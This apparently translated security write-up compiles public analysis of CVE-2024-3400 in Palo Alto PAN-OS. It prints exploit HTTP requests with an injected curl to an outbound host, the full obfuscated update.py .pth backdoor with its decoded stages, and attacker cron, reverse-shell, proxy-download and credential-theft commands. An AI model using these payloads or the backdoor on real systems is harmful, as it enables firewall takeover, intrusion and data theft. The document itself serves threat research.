in ,

CVE-2024-3400 PAN-OS Path Traversal & Command Injection Vulnerability Exploitation


This article compiles various technical details on the Internet about the PAN-OS in-field attack vulnerability CVE-2024-3400, including Path Traversal Vulnerability in Cookiesand Command injection vulnerability in Telemetrycombination of exploits, as well as detailed information about the attacker's Post-Exploitation. In addition, Bishop Fox discovered a new command injection vulnerability, so simply disabling the Telemetry service on a vulnerable system is useless.

Because there is no vulnerability recurrence environment, this article is just a note based on information collection. If you are concerned about how to build a recurrence environment, you can refer to it. 2.1 Vulnerability information Links to articles cited in.

0x01. Vulnerability introduction

Volexity Threat Research captured an in-the-wild attack vulnerability exploit targeting PAN-OS devices on 2024-04-10, and Palo Alto Networks issued a security advisory and assigned CVE number CVE-2024-3400 on 2024-04-11.

Although there is only one CVE number, there are actually two vulnerabilities used in the attack in the wild:

  • SSL VPN Cookie parsing path traversal vulnerability can be used without logging in root Permission to create arbitrary files (empty files)
  • Telemetry command injection vulnerability, matching the above file name to achieve code execution

The combined use can achieve the effect of remote arbitrary code execution without logging in.

The Telemetry command injection vulnerability relies on the opening of the Telemetry service, but it can also be used in combination with other command injection vulnerabilities that do not require preconditions. For example, Bishop Fox mentioned that they discovered and reported a new command injection vulnerability that does not depend on Telemetry ( There are currently no public details).

0x02. Vulnerability details

2.1 Vulnerability information

A command injection as a result of arbitrary file creation vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature configurations may enable an unauthenticated attacker to execute arbitrary code with root privileges on the firewall.

The biggest obstacle to researching such vulnerabilities is building a reproduction environmentbecause the manufacturer does not allow non-customers to download virtual machine images:-(

In addition to getting the virtual machine image, get root Permissions are also a relatively important operation.Rapid7 The article gives a relatively simple solution:

  • When the system starts /var No integrity check
  • Mount the virtual machine disk in /var/appweb/htdocs/unauth/php Insert a PHP WebShell
  • Compile a SUID-root program with PHP WebShell to root Permission to execute commands
  • by root Permission modification /etc/passwd Implement SSH Get root Shell

Similar techniques are also discussed and shared on Kanxue:Get the shell of the virtual machine

SSL VPN page /ssl-vpn/hipreport.esp Exists when parsing Cookie SESSIDpath traversal vulnerabilityPath Traversal Vulnerability), and this page can be accessed without logging in.

POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: <Hostname>
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/watchtowr.txt;

After the vulnerability is triggered, if the corresponding file does not exist, it will be root Permissions create an empty file.

2.3 Telemetry command injection

PAN-OS's Telemetry service will periodically send log files in the specified folder back to the Palo Alto Networks server, and here is a related Python file /p2/usr/local/bin/dt_curl existCommand injection vulnerabilityCommand Injection Vulnerability), the key code is as follows:

if source_ip_str is not None and source_ip_str != "": 
curl_cmd = "/usr/bin/curl -v -H \"Content-Type: application/octet-stream\" -X PUT \"%s\" --data-binary @%s --capath %s --interface %s" \
%(signedUrl, fname, capath, source_ip_str)
else:
curl_cmd = "/usr/bin/curl -v -H \"Content-Type: application/octet-stream\" -X PUT \"%s\" --data-binary @%s --capath %s" \
%(signedUrl, fname, capath)
if dbg:
logger.info("S2: XFILE: send_file: curl cmd: '%s'" %curl_cmd)
stat, rsp, err, pid = pansys(curl_cmd, shell=True, timeout=250)

pay attention to fname and shell=True

  • fname That is the local file path, which can be the file created by the previous Cookie SESSID parsing path traversal vulnerability.
  • pansys(curl_cmd, shell=True, timeout=250) Indicates that it is very likely that the injected parameters will be executed as commands.

pansys final call /p2/lib64/python3.6/site-packages/pansys/pansys.py neutral pansys.dosys()the relevant code is as follows:

def dosys(self, command, close_fds=True, shell=False, timeout=30, first_wait=None):
"""call shell-command and either return its output or kill it
if it doesn't normally exit within timeout seconds"""

# Define dosys specific constants here
PANSYS_POST_SIGKILL_RETRY_COUNT = 5

# how long to pause between poll-readline-readline cycles
PANSYS_DOSYS_PAUSE = 0.1

# Use first_wait if time to complete is lengthy and can be estimated
if first_wait == None:
first_wait = PANSYS_DOSYS_PAUSE

# restrict the maximum possible dosys timeout
PANSYS_DOSYS_MAX_TIMEOUT = 23 * 60 * 60
# Can support upto 2GB per stream
out = StringIO()
err = StringIO()

try:
if shell:
cmd = command
else:
cmd = command.split()
except AttributeError: cmd = command

p = subprocess.Popen(cmd, stdout=subprocess.PIPE, bufsize=1, shell=shell,
stderr=subprocess.PIPE, close_fds=close_fds, universal_newlines=True)
timer = pansys_timer(timeout, PANSYS_DOSYS_MAX_TIMEOUT)

shell=True will eventually be passed to subprocess.Popen()that is, create a Shell to execute the command, then pass fname The injected code can then be executed.

2.4 Combination Utilization

POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: <Hostname>
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere`curl${IFS}x1.outboundhost.com`;

General operating tips for command injection:

  • ` used to execute commands
  • ${IFS} Used to bypass space restrictions

2.5 Other instructions

gorilla/sessions Pull Requests – Improve File System Path Handling #274 When discussing whether the path traversal vulnerability mentioned earlier is a vulnerability that comes with gorilla/sessions, the conclusion is:

  • Not a vulnerability in gorilla/sessions
  • Palo Alto Networks is making it happen SessDiskStore loopholes

The Palo Alto vulnerability described in https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/ seems to be in a different internal Store implementation called SessDiskStore, which works similarly (maybe derived from FilesystemStore) but does not authenticate the session ID.

In addition, the command injection vulnerability in Telemetry needs to be triggered when the Telemetry function is turned on. The initial security bulletin from Palo Alto Networks also mentioned this precondition, but this condition was removed in subsequent updates.

This issue is applicable only to PAN-OS 10.2, PAN-OS 11.0, and PAN-OS 11.1 firewalls configured with GlobalProtect gateway or GlobalProtect portal (or both). Device telemetry does not need to be enabled for PAN-OS firewalls to be exposed to attacks related to this vulnerability.

Is it possible to achieve a similar command injection effect without turning on Telemetry?There are currently no public details, but Bishop Fox stated in the article PAN-OS CVE-2024-3400: Patch Your Palo Alto Firewalls Mentioning that they discovered a new command injection vulnerability that does not rely on Telemetry, PAN updated the vulnerability advisory information after they reported the details to Palo Alto Networks.

We developed bypasses for both recommended interim mitigations. We were able to successfully evade Threat Prevention signatures, and we identified a new command injection vulnerability which is exploitable even when device telemetry is disabled.

CVE-2024-3400 PANOS Disable Telemetry Never Works

0x03. Post-Exploitation

Volexity Threat Research in Articles Zero-Day Exploitation of Unauthenticated Remote Code Execution Vulnerability in GlobalProtect (CVE-2024-3400) Some specific details of the attack are given in .

3.1 update.py backdoor

Zero-day exploitation of a vulnerability in Palo Alto Global Protect firewall devices that allowed for unauthenticated remote code execution to take place. Initial exploitation was used to create a reverse shell, download tools, exfiltrate configuration data, and move laterally within the network.

update.py Can be obtained from MalwareBazaar Download it, the source code is as follows:

import os,base64,time
systempth = "/usr/lib/python3.6/site-packages/system.pth"
with open(systempth,'wb') as f:
f.write(b'''import base64;exec(base64.b64decode(b"CgoKZGVmIGNoZWNrKCk6CiAgICBpbXBvcnQgb3Msc3VicHJvY2Vzcyx0aW1lLHN5cwoKCiAgICBkZWYgc3RhcnRfcHJvY2VzcygpOgogICAgICAgIGltcG9ydCBiYXNlNjQKICAgICAgICBmdW5jdGlvbmNvZGUgPSBiIlpHVm1JRjlmYldGcGJpZ3BPZzBLSUNBZ0lHbHRjRzl5ZENCMGFISmxZV1JwYm1jc2RHbHRaU3h2Y3l4eVpTeGlZWE5sTmpRTkNnMEtEUW9OQ2lBZ0lDQmtaV1lnY21WemRHOXlaU2hqYzNOZmNHRjBhQ3hqYjI1MFpXNTBMR0YwYVcxbExHMTBhVzFsS1RvTkNpQWdJQ0FnSUNBZ2FXMXdiM0owSUc5ekxIUnBiV1VOQ2lBZ0lDQWdJQ0FnZEdsdFpTNXpiR1ZsY0NneE5Ta05DaUFnSUNBZ0lDQWdkMmwwYUNCdmNHVnVLR056YzE5d1lYUm9MQ2QzSnlrZ1lYTWdaam9OQ2lBZ0lDQWdJQ0FnSUNBZ0lHWXVkM0pwZEdVb1kyOXVkR1Z1ZENrTkNpQWdJQ0FnSUNBZ2IzTXVkWFJwYldVb1kzTnpYM0JoZEdnc0tHRjBhVzFsTEcxMGFXMWxLU2tOQ2lBZ0lDQWdJQ0FnRFFvTkNpQWdJQ0FnSUNBZ0RRb2dJQ0FnWkdWbUlGOWZhWE5mZDJodmJHVmZhRzkxY2lncE9nMEtJQ0FnSUNBZ0lDQm1jbTl0SUdSaGRHVjBhVzFsSUdsdGNHOXlkQ0JrWVhSbGRHbHRaUTBLSUNBZ0lDQWdJQ0JqZFhKeVpXNTBYM1JwYldVZ1BTQmtZWFJsZEdsdFpTNXViM2NvS1M1MGFXMWxLQ2tOQ2lBZ0lDQWdJQ0FnY21WMGRYSnVJR04xY25KbGJuUmZkR2x0WlM1dGFXNTFkR1VnSVQwZ01DQmhibVFnWTNWeWNtVnVkRjkwYVcxbExuTmxZMjl1WkNBOVBTQXdEUW9nSUNBZ1kzTnpYM0JoZEdnZ1BTQW5MM1poY2k5aGNIQjNaV0l2YzNOc2RuQnVaRzlqY3k5bmJHOWlZV3d0Y0hKdmRHVmpkQzl3YjNKMFlXd3ZZM056TDJKdmIzUnpkSEpoY0M1dGFXNHVZM056SncwS0lDQWdJR052Ym5SbGJuUWdQU0J2Y0dWdUtHTnpjMTl3WVhSb0tTNXlaV0ZrS0NrTkNpQWdJQ0JoZEdsdFpUMXZjeTV3WVhSb0xtZGxkR0YwYVcxbEtHTnpjMTl3WVhSb0tRMEtJQ0FnSUcxMGFXMWxQVzl6TG5CaGRHZ3VaMlYwYlhScGJXVW9ZM056WDNCaGRHZ3BEUW9OQ2lBZ0lDQjNhR2xzWlNCVWNuVmxPZzBLSUNBZ0lDQWdJQ0IwY25rNkRRb2dJQ0FnSUNBZ0lDQWdJQ0JUU0VWTVRGOVFRVlJVUlZKT0lEMGdKMmx0WjF4YktGdGhMWHBCTFZvd0xUa3JMejFkS3lsY1hTY05DaUFnSUNBZ0lDQWdJQ0FnSUd4cGJtVnpJRDBnVzEwTkNpQWdJQ0FnSUNBZ0lDQWdJRmRTU1ZSRlgwWk1RVWNnUFNCR1lXeHpaUTBLSUNBZ0lDQWdJQ0FnSUNBZ1ptOXlJR3hwYm1VZ2FXNGdiM0JsYmlnaUwzWmhjaTlzYjJjdmNHRnVMM056Ykhad2JsOXVaM2hmWlhKeWIzSXViRzluSWl4bGNuSnZjbk05SW1sbmJtOXlaU0lwTG5KbFlXUnNhVzVsY3lncE9nMEtJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lISnpkQ0E5SUhKbExuTmxZWEpqYUNoVFNFVk1URjlRUVZSVVJWSk9MR3hwYm1VcERRb2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ2FXWWdjbk4wT2cwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQlhVa2xVUlY5R1RFRkhJRDBnVkhKMVpRMEtJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0JqYldRZ1BTQmlZWE5sTmpRdVlqWTBaR1ZqYjJSbEtISnpkQzVuY205MWNDZ3hLU2t1WkdWamIyUmxLQ2tOQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ2RISjVPZzBLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdiM1YwY0hWMElEMGdiM011Y0c5d1pXNG9ZMjFrS1M1eVpXRmtLQ2tOQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJSGRwZEdnZ2IzQmxiaWhqYzNOZmNHRjBhQ3dpWVNJcElHRnpJR1k2RFFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ1ppNTNjbWwwWlNnaUx5b2lLMjkxZEhCMWRDc2lLaThpS1EwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQmxlR05sY0hRZ1JYaGpaWEIwYVc5dUlHRnpJR1U2RFFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0J3WVhOekRRb05DaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnWTI5dWRHbHVkV1VOQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0JzYVc1bGN5NWhjSEJsYm1Rb2JHbHVaU2tOQ2lBZ0lDQWdJQ0FnSUNBZ0lHbG1JRmRTU1ZSRlgwWk1RVWM2RFFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnWVhScGJXVTliM011Y0dGMGFDNW5aWFJoZEdsdFpTZ2lMM1poY2k5c2IyY3ZjR0Z1TDNOemJIWndibDl1WjNoZlpYSnliM0l1Ykc5bklpa05DaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQnRkR2x0WlQxdmN5NXdZWFJvTG1kbGRHMTBhVzFsS0NJdmRtRnlMMnh2Wnk5d1lXNHZjM05zZG5CdVgyNW5lRjlsY25KdmNpNXNiMmNpS1EwS0RRb2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ2QybDBhQ0J2Y0dWdUtDSXZkbUZ5TDJ4dlp5OXdZVzR2YzNOc2RuQnVYMjVuZUY5bGNuSnZjaTVzYjJjaUxDSjNJaWtnWVhNZ1pqb05DaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnWmk1M2NtbDBaV3hwYm1WektHeHBibVZ6S1EwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUc5ekxuVjBhVzFsS0NJdmRtRnlMMnh2Wnk5d1lXNHZjM05zZG5CdVgyNW5lRjlsY25KdmNpNXNiMmNpTENoaGRHbHRaU3h0ZEdsdFpTa3BEUW9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdhVzF3YjNKMElIUm9jbVZoWkdsdVp3MEtJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lIUm9jbVZoWkdsdVp5NVVhSEpsWVdRb2RHRnlaMlYwUFhKbGMzUnZjbVVzWVhKbmN6MG9ZM056WDNCaGRHZ3NZMjl1ZEdWdWRDeGhkR2x0WlN4dGRHbHRaU2twTG5OMFlYSjBLQ2tOQ2lBZ0lDQWdJQ0FnWlhoalpYQjBPZzBLSUNBZ0lDQWdJQ0FnSUNBZ2NHRnpjdzBLSUNBZ0lDQWdJQ0IwYVcxbExuTnNaV1Z3S0RJcERRb05DZzBLYVcxd2IzSjBJSFJvY21WaFpHbHVaeXgwYVcxbERRcDBhSEpsWVdScGJtY3VWR2h5WldGa0tIUmhjbWRsZEQxZlgyMWhhVzRwTG5OMFlYSjBLQ2tOQ2cwSyIKICAgICAgICBleGVjKGJhc2U2NC5iNjRkZWNvZGUoZnVuY3Rpb25jb2RlKSkgICAgICAgIAoKICAgIGlmIGIiL3Vzci9sb2NhbC9iaW4vbW9uaXRvciBtcCIgaW4gb3BlbigiL3Byb2Mvc2VsZi9jbWRsaW5lIiwicmIiKS5yZWFkKCkucmVwbGFjZShiIlx4MDAiLGIiICIpIDoKICAgICAgICB0cnk6CiAgICAgICAgICAgIHN0YXJ0X3Byb2Nlc3MoKQogICAgICAgIGV4Y2VwdCBLZXlib2FyZEludGVycnVwdCBhcyBlOgogICAgICAgICAgICBwcmludChlKQogICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICAgICAgcHJpbnQoZSkKICAgICAgICByZXR1cm4gVHJ1ZQogICAgZWxzZToKICAgICAgICByZXR1cm4gRmFsc2UgCgoKZGVmIHByb3RlY3QoKToKICAgIGltcG9ydCBvcyxzaWduYWwKICAgIHN5c3RlbXB0aCA9ICIvdXNyL2xpYi9weXRob24zLjYvc2l0ZS1wYWNrYWdlcy9zeXN0ZW0ucHRoIgogICAgY29udGVudCA9IG9wZW4oc3lzdGVtcHRoKS5yZWFkKCkKICAgICMgb3MudW5saW5rKF9fZmlsZV9fKQogICAgZGVmIHN0b3Aoc2lnLGZyYW1lKToKICAgICAgICBpZiBub3Qgb3MucGF0aC5leGlzdHMoc3lzdGVtcHRoKToKICAgICAgICAgICAgd2l0aCBvcGVuKHN5c3RlbXB0aCwidyIpIGFzIGY6CiAgICAgICAgICAgICAgICBmLndyaXRlKGNvbnRlbnQpCgogICAgc2lnbmFsLnNpZ25hbChzaWduYWwuU0lHVEVSTSxzdG9wKQoKCnByb3RlY3QoKQpjaGVjaygpCg=="))''')
atime=os.path.getatime(os.__file__)
mtime=os.path.getmtime(os.__file__)
os.utime(systempth,(atime,mtime))
os.unlink(__file__)
import glob
os.unlink(glob.glob("/opt/pancfg/mgmt/licenses/PA_VM`*")(0))

Here is a piece of Python code written /usr/lib/python3.6/site-packages/system.pth

The purpose of the update.py script is to deploy a backdoor to the following path: /usr/lib/python3.6/site-packages/system.pth. The backdoor, written in Python, starts by an import and its main content is stored as a base64 encoded blob. The .pth extension is used to append additional paths to a Python module. Starting with the release of Python 3.5, lines in .pth files beginning with the text “import” followed by a space or a tab, are executed as described in the official documentation. Therefore, by creating this file, each time any other code on the device attempts to import the module, the malicious code is executed.

Located in Python site-packages under the directory .pth file, which can be used to specify PATH path.For example, if .pth If the file contains the following content, then each line specifying the path will be added to sys.path middle.

C:\\Windows\\System32
D:\\

And if .pth Lines in the file begin with import If you add a space or tab character at the beginning, the content of this line will be executed as Python code. have to be aware of is,Every time the Python process starts.pth The content in the file will be parsed, instead of what Volexity said in the original text, it will only be import .pth The file will only be parsed when the module is installed.

The Base64 decoded content is as follows:

def check():
import os,subprocess,time,sys


def start_process():
import base64
functioncode = b"ZGVmIF9fbWFpbigpOg0KICAgIGltcG9ydCB0aHJlYWRpbmcsdGltZSxvcyxyZSxiYXNlNjQNCg0KDQoNCiAgICBkZWYgcmVzdG9yZShjc3NfcGF0aCxjb250ZW50LGF0aW1lLG10aW1lKToNCiAgICAgICAgaW1wb3J0IG9zLHRpbWUNCiAgICAgICAgdGltZS5zbGVlcCgxNSkNCiAgICAgICAgd2l0aCBvcGVuKGNzc19wYXRoLCd3JykgYXMgZjoNCiAgICAgICAgICAgIGYud3JpdGUoY29udGVudCkNCiAgICAgICAgb3MudXRpbWUoY3NzX3BhdGgsKGF0aW1lLG10aW1lKSkNCiAgICAgICAgDQoNCiAgICAgICAgDQogICAgZGVmIF9faXNfd2hvbGVfaG91cigpOg0KICAgICAgICBmcm9tIGRhdGV0aW1lIGltcG9ydCBkYXRldGltZQ0KICAgICAgICBjdXJyZW50X3RpbWUgPSBkYXRldGltZS5ub3coKS50aW1lKCkNCiAgICAgICAgcmV0dXJuIGN1cnJlbnRfdGltZS5taW51dGUgIT0gMCBhbmQgY3VycmVudF90aW1lLnNlY29uZCA9PSAwDQogICAgY3NzX3BhdGggPSAnL3Zhci9hcHB3ZWIvc3NsdnBuZG9jcy9nbG9iYWwtcHJvdGVjdC9wb3J0YWwvY3NzL2Jvb3RzdHJhcC5taW4uY3NzJw0KICAgIGNvbnRlbnQgPSBvcGVuKGNzc19wYXRoKS5yZWFkKCkNCiAgICBhdGltZT1vcy5wYXRoLmdldGF0aW1lKGNzc19wYXRoKQ0KICAgIG10aW1lPW9zLnBhdGguZ2V0bXRpbWUoY3NzX3BhdGgpDQoNCiAgICB3aGlsZSBUcnVlOg0KICAgICAgICB0cnk6DQogICAgICAgICAgICBTSEVMTF9QQVRURVJOID0gJ2ltZ1xbKFthLXpBLVowLTkrLz1dKylcXScNCiAgICAgICAgICAgIGxpbmVzID0gW10NCiAgICAgICAgICAgIFdSSVRFX0ZMQUcgPSBGYWxzZQ0KICAgICAgICAgICAgZm9yIGxpbmUgaW4gb3BlbigiL3Zhci9sb2cvcGFuL3NzbHZwbl9uZ3hfZXJyb3IubG9nIixlcnJvcnM9Imlnbm9yZSIpLnJlYWRsaW5lcygpOg0KICAgICAgICAgICAgICAgIHJzdCA9IHJlLnNlYXJjaChTSEVMTF9QQVRURVJOLGxpbmUpDQogICAgICAgICAgICAgICAgaWYgcnN0Og0KICAgICAgICAgICAgICAgICAgICBXUklURV9GTEFHID0gVHJ1ZQ0KICAgICAgICAgICAgICAgICAgICBjbWQgPSBiYXNlNjQuYjY0ZGVjb2RlKHJzdC5ncm91cCgxKSkuZGVjb2RlKCkNCiAgICAgICAgICAgICAgICAgICAgdHJ5Og0KICAgICAgICAgICAgICAgICAgICAgICAgb3V0cHV0ID0gb3MucG9wZW4oY21kKS5yZWFkKCkNCiAgICAgICAgICAgICAgICAgICAgICAgIHdpdGggb3Blbihjc3NfcGF0aCwiYSIpIGFzIGY6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZi53cml0ZSgiLyoiK291dHB1dCsiKi8iKQ0KICAgICAgICAgICAgICAgICAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6DQogICAgICAgICAgICAgICAgICAgICAgICBwYXNzDQoNCiAgICAgICAgICAgICAgICAgICAgY29udGludWUNCiAgICAgICAgICAgICAgICBsaW5lcy5hcHBlbmQobGluZSkNCiAgICAgICAgICAgIGlmIFdSSVRFX0ZMQUc6DQogICAgICAgICAgICAgICAgYXRpbWU9b3MucGF0aC5nZXRhdGltZSgiL3Zhci9sb2cvcGFuL3NzbHZwbl9uZ3hfZXJyb3IubG9nIikNCiAgICAgICAgICAgICAgICBtdGltZT1vcy5wYXRoLmdldG10aW1lKCIvdmFyL2xvZy9wYW4vc3NsdnBuX25neF9lcnJvci5sb2ciKQ0KDQogICAgICAgICAgICAgICAgd2l0aCBvcGVuKCIvdmFyL2xvZy9wYW4vc3NsdnBuX25neF9lcnJvci5sb2ciLCJ3IikgYXMgZjoNCiAgICAgICAgICAgICAgICAgICAgZi53cml0ZWxpbmVzKGxpbmVzKQ0KICAgICAgICAgICAgICAgIG9zLnV0aW1lKCIvdmFyL2xvZy9wYW4vc3NsdnBuX25neF9lcnJvci5sb2ciLChhdGltZSxtdGltZSkpDQogICAgICAgICAgICAgICAgaW1wb3J0IHRocmVhZGluZw0KICAgICAgICAgICAgICAgIHRocmVhZGluZy5UaHJlYWQodGFyZ2V0PXJlc3RvcmUsYXJncz0oY3NzX3BhdGgsY29udGVudCxhdGltZSxtdGltZSkpLnN0YXJ0KCkNCiAgICAgICAgZXhjZXB0Og0KICAgICAgICAgICAgcGFzcw0KICAgICAgICB0aW1lLnNsZWVwKDIpDQoNCg0KaW1wb3J0IHRocmVhZGluZyx0aW1lDQp0aHJlYWRpbmcuVGhyZWFkKHRhcmdldD1fX21haW4pLnN0YXJ0KCkNCg0K"
exec(base64.b64decode(functioncode))

if b"/usr/local/bin/monitor mp" in open("/proc/self/cmdline","rb").read().replace(b"\x00",b" ") :
try:
start_process()
except KeyboardInterrupt as e:
print(e)
except Exception as e:
print(e)
return True
else:
return False


def protect():
import os,signal
systempth = "/usr/lib/python3.6/site-packages/system.pth"
content = open(systempth).read()
# os.unlink(__file__)
def stop(sig,frame):
if not os.path.exists(systempth):
with open(systempth,"w") as f:
f.write(content)

signal.signal(signal.SIGTERM,stop)


protect()
check()

Two functions are defined here,protect used to protect /usr/lib/python3.6/site-packages/system.pth,and check The core logic is still Base64 encoded, and the decoded content is as follows:

def __main():
import threading,time,os,re,base64



def restore(css_path,content,atime,mtime):
import os,time
time.sleep(15)
with open(css_path,'w') as f:
f.write(content)
os.utime(css_path,(atime,mtime))



def __is_whole_hour():
from datetime import datetime
current_time = datetime.now().time()
return current_time.minute != 0 and current_time.second == 0
css_path = '/var/appweb/sslvpndocs/global-protect/portal/css/bootstrap.min.css'
content = open(css_path).read()
atime=os.path.getatime(css_path)
mtime=os.path.getmtime(css_path)

while True:
try:
SHELL_PATTERN = 'img\(((a-zA-Z0-9+/=)+)\)'
lines = ()
WRITE_FLAG = False
for line in open("/var/log/pan/sslvpn_ngx_error.log",errors="ignore").readlines():
rst = re.search(SHELL_PATTERN,line)
if rst:
WRITE_FLAG = True
cmd = base64.b64decode(rst.group(1)).decode()
try:
output = os.popen(cmd).read()
with open(css_path,"a") as f:
f.write("/*"+output+"*/")
except Exception as e:
pass

continue
lines.append(line)
if WRITE_FLAG:
atime=os.path.getatime("/var/log/pan/sslvpn_ngx_error.log")
mtime=os.path.getmtime("/var/log/pan/sslvpn_ngx_error.log")

with open("/var/log/pan/sslvpn_ngx_error.log","w") as f:
f.writelines(lines)
os.utime("/var/log/pan/sslvpn_ngx_error.log",(atime,mtime))
import threading
threading.Thread(target=restore,args=(css_path,content,atime,mtime)).start()
except:
pass
time.sleep(2)


import threading,time
threading.Thread(target=__main).start()

This code is used to build a backdoor to execute commands sent by the attacker:

  • Request a page that does not exist, and enter the command to be executed in the request parameters.
  • Since the page does not exist, relevant information will be written to the log file. /var/log/pan/sslvpn_ngx_error.log
  • from log file /var/log/pan/sslvpn_ngx_error.log Extract attacker-specified commands
  • pass os.popen Execute the command and write the command output information to the CSS file /var/appweb/sslvpndocs/global-protect/portal/css/bootstrap.min.css
  • Recovery log file /var/log/pan/sslvpn_ngx_error.log The file content (removing the content with command parameters) and atime and mtime Attributes
  • Restore CSS files /var/appweb/sslvpndocs/global-protect/portal/css/bootstrap.min.css the file contents and atime and mtime Attributes
    • But here's atime and mtime In fact, it comes from the log file, not the original time attribute of the previously saved CSS file.

An attacker can 15 Read the command execution results through the CSS file within seconds.

3.2 patch cron file

Create a crontab task to periodically pull the command named policy script execution.

if ( ! -f '/etc/cron.d/update' ); then
printf "SHELL=/bin/bash\n\n* * * * * root wget -qO- http://172.233.228(.)93/policy | bash\n\n" > /etc/cron.d/update
fi

3.3 policy file

3.3.1 Version 1

Python bounce shell.

#!/bin/bash
r=`ps -ef | grep "import sys,socket,os" | grep -v grep`
if (( -z "$r" )); then
python -c "import sys,socket,os,pty;s=socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect(('172.233.228(.)93',443));(os.dup2(s.fileno(),fd) for fd in (0,1,2));pty.spawn('/bin/bash')"
fi

3.3.2 Version 2

Will uname -a The output information is written to the CSS file.

#!/bin/bash
rm -f /var/appweb/sslvpndocs/global-protect/*.css
cp /opt/pancfg/mgmt/saved-configs/running-config.xml /var/appweb/sslvpndocs/global-protect/<redacted>.css
uname -a > /var/appweb/sslvpndocs/global-protect/<redacted>.css

3.3.3 Version 3

Clean CSS files.

#!/bin/bash
rm -f /var/appweb/sslvpndocs/global-protect/*.css

3.3.4 Version 4

Download execution GOST acting.

#!/bin/bash
wget http://172.233.228(.)93/vpn_prot.gz -O /tmp/vpn_prot.gz
ls -l /tmp/vpn_prot.gz > /var/appweb/sslvpndocs/global-protect/u.css
gzip -d /tmp/vpn_prot.gz
chmod +x /tmp/vpn_prot
nohup /tmp/vpn_prot -L=socks5://127.0.0(.)1:8123 > /dev/null 2>&1 &
nohup /tmp/vpn_prot -L rtcp://127.0.0(.)1:8080/127.0.0(.)1:8123 -F ssh://user0:(password_redacted)@172.233.228(.)93:8443?ping=180 > /dev/null 2>&1 &

3.3.5 Version 5

Improved version of Version 4 (Base64 encoded).

#!/bin/bash
wget http://172.233.228(.)93/vpn.log -O /tmp/vpn.log
base64 -d /tmp/vpn.log > /tmp/vpn_prot.gz
ls -l /tmp/vpn_prot.gz > /var/appweb/sslvpndocs/global-protect/u.css
gzip -d /tmp/vpn_prot.gz
chmod +x /tmp/vpn_prot
nohup /tmp/vpn_prot -L=socks5://127.0.0(.)1:8123 > /dev/null 2>&1 &
nohup /tmp/vpn_prot -L rtcp://127.0.0(.)1:8080/127.0.0.1:8123 -F ssh://user0:(password_redacted)@172.233.228(.)93:8443?ping=180 > /dev/null 2>&1 &

3.3.6 Version 6

Download and execute SSH-based rebound shell reverse-ssh

#!/bin/bash
wget http://172.233.228(.)93/lowdp -O /tmp/lowdp
ls -l /tmp/lowdp > /var/appweb/sslvpndocs/global-protect/u.css
chmod +x /tmp/lowdp
nohup /tmp/lowdp -l -p 31289 > /dev/null 2>&1 &

3.4 Lateral Movement & Data theft

Information collection and theft.

%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Network
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Network\Cookies
%LOCALAPPDATA%\Google\Chrome\User Data\Local State
%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data
%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network
%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\Cookies
%LOCALAPPDATA%\Microsoft\Edge\User Data\Local State
%APPDATA%\Roaming\Microsoft\Protect\<SID> -> DPAPI Keys
%SystemRoot%\NTDS\ntds.dit
%SystemRoot%\System32\winevt\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx

0x04. References

  1. https://security.paloaltonetworks.com/CVE-2024-3400
  2. https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/
  3. https://www.sprocketsecurity.com/resources/patch-diffing-cve-2024-3400-from-a-palo-alto-ngfw-marketplace-ami
  4. https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis
  5. https://github.com/gorilla/sessions/pull/274
  6. https://bishopfox.com/blog/pan-os-cve-2024-3400-patch-your-palo-alto-firewalls
  7. https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/
  8. https://bazaar.abuse.ch/sample/3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac/

What do you think?

Leave a Reply

Your email address will not be published. Required fields are marked *

GIPHY App Key not set. Please check settings

Nintendo game emulator Delta supports casting to TV/computer to play games in full screen for a better experience than mobile phones

A French hospital was forced to reschedule procedures after cyberattack